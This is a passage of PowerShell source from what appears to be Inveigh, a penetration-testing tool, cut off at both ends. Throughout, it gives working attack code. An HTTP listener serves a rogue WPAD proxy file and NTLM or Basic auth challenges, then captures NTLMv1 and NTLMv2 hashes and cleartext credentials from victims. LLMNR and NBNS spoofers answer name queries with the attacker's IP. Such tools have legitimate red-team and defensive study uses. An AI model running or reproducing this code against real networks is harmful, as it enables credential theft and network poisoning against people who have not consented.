0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = "NTLM " + $NTLM_challenge_base64 - $NTLM_challenge = $HTTP_challenge - - return $NTLM - } - - if($HTTPIP -ne '0.0.0.0') - { - $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) - $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) - } - else - { - $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) - } - - $HTTP_running = $true - $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint - - try - { - $HTTP_listener.Start() - } - catch - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting HTTP listener") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting HTTP listener")]) - $HTTP_running = $false - } - - $HTTP_WWW_authenticate_header = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 # WWW-Authenticate - $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count - $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count - $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count - - if($WPADIP -and $WPADPort) - { - - if($WPADDirectHosts) - { - - foreach($WPAD_direct_host in $WPADDirectHosts) - { - $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' - } - - $HTTP_WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - } - else - { - $HTTP_WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - } - - } - elseif($WPADResponse) - { - $HTTP_WPAD_response = $WPADResponse - } - elseif($WPADEmptyFile -eq 'Y') - { - $HTTP_WPAD_response = "function FindProxyForURL(url,host){return `"DIRECT`";}" - } - - $HTTP_client_close = $true - - :HTTP_listener_loop while ($inveigh.unprivileged_running -and $HTTP_running) - { - $TCP_request = "" - $TCP_request_bytes = New-Object System.Byte[] 4096 - - while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) - { - - Start-Sleep -m 10 - - if(!$inveigh.unprivileged_running) - { - break HTTP_listener_loop - } - - } - - if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.unprivileged_running) - { - $HTTP_client = $HTTP_listener.AcceptTcpClient() # will block here until connection - $HTTP_stream = $HTTP_client.GetStream() - } - - $HTTP_stream_timeout = New-TimeSpan -Seconds 2 - $HTTP_stream_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - while($HTTP_stream.DataAvailable -and $HTTP_stream_stopwatch.Elapsed -lt $HTTP_stream_timeout) - { - $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) - } - - $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) - - if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*") - { - $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) - $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) - - if($NBNSBruteForcePause) - { - $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - $inveigh.hostname_spoof = $true - } - - if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") - { - $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) - $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-")) - $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length) - } - else - { - $authentication_header = "" - } - - if($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - } - else - { - $HTTP_response_status_code = 0x34,0x30,0x31 - $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 - } - - if(($HTTP_request_raw_url -match '/wpad.dat' -and $WPADAuth -eq 'NTLM') -or ($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'NTLM')) - { - $HTTPNTLMESS = $true - } - else - { - $HTTPNTLMESS = $false - } - - $HTTP_type = "HTTP" - $NTLM = "NTLM" - $NTLM_auth = $false - $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString - - if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP")]) - } - - if($authentication_header.startswith('NTLM ')) - { - $authentication_header = $authentication_header -replace 'NTLM ','' - [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $HTTP_response_status_code = 0x34,0x30,0x31 - - if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') - { - $HTTP_response_status_code = 0x34,0x30,0x31 - $NTLM = NTLMChallengeBase64 $Challenge $HTTPNTLMESS - $HTTP_client_close = $false - } - elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') - { - $NTLM = "NTLM" - $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes - $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes - [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - - if($HTTP_NTLM_domain_length -eq 0) - { - $HTTP_NTLM_domain_string = "" - } - else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes - $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes - $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 - { - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP ($HTTP_NTLM_host_string)")]) - $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n" + $HTTP_NTLM_hash) - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string) for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } - - } - - } - else # NTLMv2 - { - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP ($HTTP_NTLM_host_string)")]) - $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n" + $HTTP_NTLM_hash) - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string) for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } - - } - - } - - if ($inveigh.IP_capture_list -notcontains $HTTP_source_IP -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $HTTP_source_IP -ne $IP) - { - $inveigh.IP_capture_list.Add($HTTP_source_IP) - } - - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $NTLM_auth = $true - $HTTP_client_close = $true - $NTLM_challenge = "" - } - else - { - $NTLM = "NTLM" - $HTTP_client_close = $false - } - - } - elseif($authentication_header.startswith('Basic ')) - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $authentication_header = $authentication_header -replace 'Basic ','' - $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) - $HTTP_client_close = $true - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP")]) - $inveigh.cleartext_file_queue.Add($cleartext_credentials) - $inveigh.cleartext_list.Add($cleartext_credentials) - $inveigh.console_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP") - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) - } - - } - else - { - if($HTTPAuth -ne 'Anonymous' -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -ne 'Anonymous')) - { - $HTTP_client_close = $false - } - else - { - $HTTP_client_close = $true - } - - } - - $HTTP_timestamp = Get-Date -format r - $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - - if((($WPADIP -and $WPADPort) -or $WPADResponse -or $WPADEmptyFile -eq 'Y') -and $HTTP_request_raw_URL -match '/wpad.dat') - { - $HTTP_message = $HTTP_WPAD_response - } - elseif($HTTPResponse -and $HTTP_request_raw_URL -notmatch '/wpad.dat') - { - $HTTP_message = $HTTPResponse - } - else - { - $HTTP_message = "" - } - - $HTTP_timestamp = Get-Date -format r - $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - - if(($HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth) - { - $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - - $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + - $HTTP_response_status_code + - 0x20 + - $HTTP_response_phrase + - 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, - 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, - 0x0a,0x44,0x61,0x74,0x65,0x3a + - $HTTP_timestamp + - 0x0d,0x0a + - $HTTP_WWW_authenticate_header + - $NTLM + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + - 0x0d,0x0a + - $HTTP_message_bytes - - } - elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) - { - $Basic = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - - $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + - $HTTP_response_status_code + - 0x20 + - $HTTP_response_phrase + - 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, - 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, - 0x0a,0x44,0x61,0x74,0x65,0x3a + - $HTTP_timestamp + - 0x0d,0x0a + - $HTTP_WWW_authenticate_header + - $Basic + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + - 0x0d,0x0a + - $HTTP_message_bytes - - } - else - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - - $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + - $HTTP_response_status_code + - 0x20 + - $HTTP_response_phrase + - 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, - 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, - 0x0a,0x44,0x61,0x74,0x65,0x3a + - $HTTP_timestamp + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + - 0x0d,0x0a + - $HTTP_message_bytes - } - - $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) - $HTTP_stream.Flush() - Start-Sleep -m 10 - $HTTP_request_raw_URL_old = $HTTP_request_raw_URL - $HTTP_client_handle_old = $HTTP_client.Client.Handle - - if($HTTP_client_close) - { - $HTTP_client.Close() - - if($RunCount -gt 0 -and ($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext)) - { - $HTTP_listener.Stop() - $inveigh.console_queue.Add("Inveigh Unprivileged exited due to run count at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run count")]) - $inveigh.unprivileged_running = $false - break HTTP_listener_loop - } - - } - - } - else - { - $HTTP_client.Close() - $HTTP_client_close = $true - } - - } - - $HTTP_client.Close() - start-sleep -s 1 - $HTTP_listener.Server.blocking = $false - Start-Sleep -s 1 - $HTTP_listener.Server.Close() - Start-Sleep -s 1 - $HTTP_listener.Stop() -} - -$LLMNR_spoofer_scriptblock = -{ - param ($LLMNR_response_message,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$LLMNRTTL) - - $LLMNR_running = $true - $LLMNR_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5355) - - try - { - $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5355 - } - catch - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer")]) - $LLMNR_running = $false - } - - $LLMNR_multicast_group = [IPAddress]"224.0.0.252" - $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) - $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 - - while($inveigh.unprivileged_running -and $LLMNR_running) - { - - $LLMNR_request_data = $LLMNR_UDP_client.Receive([Ref]$LLMNR_listener_endpoint) # need to switch to async - - if([System.BitConverter]::ToString($LLMNR_request_data[($LLMNR_request_data.Length - 4)..($LLMNR_request_data.Length - 3)]) -ne '00-1c') # ignore AAAA for now - { - $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) - [Array]::Reverse($LLMNR_TTL_bytes) - - $LLMNR_response_packet = $LLMNR_request_data[0,1] + - 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + - $LLMNR_request_data[12..$LLMNR_request_data.Length] + - $LLMNR_request_data[12..$LLMNR_request_data.Length] + - $LLMNR_TTL_bytes + - 0x00,0x04 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - - $LLMNR_query_string = [Text.Encoding]::UTF8.GetString($LLMNR_request_data[13..($LLMNR_request_data[12] + 12)]) - $source_IP = $LLMNR_listener_endpoint.Address.IPAddressToString - - if(($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( - !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( - $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) - { - $LLMNR_destination_endpoint = New-Object Net.IPEndpoint($LLMNR_listener_endpoint.Address,$LLMNR_listener_endpoint.Port) - $LLMNR_UDP_client.Connect($LLMNR_destination_endpoint) - $LLMNR_UDP_client.Send($LLMNR_response_packet,$LLMNR_response_packet.Length) - $LLMNR_UDP_client.Close() - $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient 5355 - $LLMNR_multicast_group = [IPAddress]"224.0.0.252" - $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) - $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 - $LLMNR_response_message = "- response sent" - } - else - { - - if($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $LLMNR_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $LLMNR_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $LLMNR_response_message = "- previous capture from $source_IP" - } - else - { - $LLMNR_response_message = "- something went wrong" - } - - } - - if($LLMNR_request_data) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message")]) - } - - $LLMNR_request_data = "" - } - - } - - $LLMNR_UDP_client.Close() - } - -$NBNS_spoofer_scriptblock = -{ - param ($NBNS_response_message,$SpooferIP,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$NBNSTTL) - - $NBNS_running = $true - $NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) - - try - { - $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 - } - catch - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer")]) - $NBNS_running = $false - } - - $NBNS_UDP_client.Client.ReceiveTimeout = 5000 - - while($inveigh.unprivileged_running -and $NBNS_running) - { - - $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) # need to switch to async - $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) - - if([System.BitConverter]::ToString($NBNS_request_data[10..11]) -ne '00-01') - { - $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) - [Array]::Reverse($NBNS_TTL_bytes) - - $NBNS_response_packet = $NBNS_request_data[0,1] + - 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + - $NBNS_request_data[13..$NBNS_request_data.Length] + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 - - $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString - $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44]) - - switch ($NBNS_query_type) - { - - '41-41' - { - $NBNS_query_type = "00" - } - - '41-44' - { - $NBNS_query_type = "03" - } - - '43-41' - { - $NBNS_query_type = "20" - } - - '42-4C' - { - $NBNS_query_type = "1B" - } - - '42-4D' - { - $NBNS_query_type = "1C" - } - - '42-4E' - { - $NBNS_query_type = "1D" - } - - '42-4F' - { - $NBNS_query_type = "1E" - } - - } - - $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)]) - $NBNS_query = $NBNS_query -replace "-00","" - $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) - $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) - $NBNS_query_string_subtracted = "" - $NBNS_query_string = "" - $n = 0 - - do - { - $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) - $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) - $n += 1 - } - until($n -gt ($NBNS_query_string_encoded.Length - 1)) - - $n = 0 - - do - { - $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) - $n += 2 - } - until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) - - if (($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( - !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( - $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($NBNSTypes -contains $NBNS_query_type) -and ($source_IP -ne $IP)) - { - $NBNS_destination_endpoint = New-Object System.Net.IPEndpoint($NBNS_listener_endpoint.Address,137) - $NBNS_UDP_client.Connect($NBNS_destination_endpoint) - $NBNS_UDP_client.Send($NBNS_response_packet,$NBNS_response_packet.Length) - $NBNS_UDP_client.Close() - $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 - $NBNS_UDP_client.Client.ReceiveTimeout = 5000 - $NBNS_response_message = "- response sent" - } - else - { - - if($NBNSTypes -notcontains $NBNS_query_type) - { - $NBNS_response_message = "- disabled NBNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) - { - 